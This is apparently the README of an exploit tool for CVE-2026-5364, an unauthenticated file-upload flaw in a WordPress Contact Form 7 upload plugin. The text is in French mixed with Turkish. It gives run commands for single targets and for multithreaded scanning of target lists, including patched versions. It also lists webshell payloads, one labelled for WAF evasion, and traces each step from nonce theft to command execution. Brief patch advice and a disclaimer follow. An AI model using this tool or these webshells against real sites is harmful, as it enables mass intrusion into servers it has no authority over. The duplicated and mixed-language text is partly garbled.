
CVE-2026-5364 est une vulnérabilité de téléversement arbitraire de fichier non authentifié, classée CVSS 8.1 (Élevée), dans l'extension Drag and Drop File Upload for Contact Form 7.
CVE-2026-5364 est une vulnérabilité de téléchargement de fichier arbitraire non authentifié de score CVSS 8.1 (Élevé) dans le plugin Drag and Drop File Upload for Contact Form 7
Téléchargement de fichier arbitraire non authentifié via contournement de
sanitize_file_name()CVSS 8.1 (Élevé) | Affecté : <= 1.1.3 | Corrigé : 1.1.4
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-5364 |
| Plugin | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (Élevé) |
| Vecteur | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affecté | <= 1.1.3 |
| Corrigé | 1.1.4 |
| Chercheur | Thomas Sanzey |
| Publication | 23 avril 2026 |
Le plugin lit l'extension du fichier avant le nettoyage avec sanitize_file_name().
L'attaquant télécharge un fichier nommé shell.php$ :
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← contourne la blacklist
sanitize_file_name('shell.php$') → 'shell.php' ← enregistré en tant que PHP
Chaîne de trois faiblesses indépendantes :
type est lu depuis l'utilisateurpathinfo() est appliqué au nom de fichier brutsanitize_file_name() dans wp_unique_filename() supprime le caractère $git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com
# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"
# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive
# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
Cible :
-u, --url URL URL cible unique
-l, --list FILE Liste de cibles (une URL par ligne)
Exploit :
-c, --cmd CMD Commande OS (par défaut : id)
--shell TYPE Type de webshell : basic|exec|pass|eval|info
-i, --interactive Ouvrir un shell interactif
--no-skip-patched Essayer aussi les versions corrigées
Scan :
-t, --threads N Nombre de threads (par défaut : 10)
--timeout S Timeout en secondes (par défaut : 15)
--proxy URL Adresse du proxy
Sortie :
-o, --output FILE Fichier de résultats
-v, --verbose Sortie détaillée
--no-color Sortie sans couleur
| Type | Payload | Utilisation |
|---|---|---|
basic | <?php system($_GET["cmd"]); ?> | Usage général |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | Sortie complète |
pass | <?php passthru($_GET["cmd"]); ?> | Sortie binaire |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | Caché/Contournement WAF |
info | <?php phpinfo(); ?> | Informations PHP |
1. Nonce Tespiti
└─ wp_localize_script() ile her ziyaretçiye açık
GET /contact/ → HTML içinde "nonce":"abc123def4"
2. Shell Yükleme
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← blacklist'te yok
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL Alma
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Caractères supprimés par sanitize_file_name() :
$ % ~ ` (boşluk)
L'outil essaie automatiquement tous les caractères de contournement.
| Facteur | Impact |
|---|---|
Apache .htaccess (Content-Disposition: attachment) | Empêche l'exécution de PHP |
| Nginx / LiteSpeed | .htaccess invalide — RCE possible |
Nom de fichier aléatoire (uniqid()) | Inefficace car la réponse AJAX renvoie l'URL |
| Nonce | Protection CSRF — pas d'authentification, inefficace |
Mettez à jour le plugin vers la version 1.1.4 ou supérieure.
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// DOĞRU (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id); // POST'tan değil
Cet outil a été développé uniquement pour la recherche en sécurité à des fins éducatives et défensives. Son utilisation sur des systèmes non autorisés est interdite et peut avoir des conséquences légales. Utilisez-le uniquement sur les systèmes pour lesquels vous avez obtenu l'autorisation.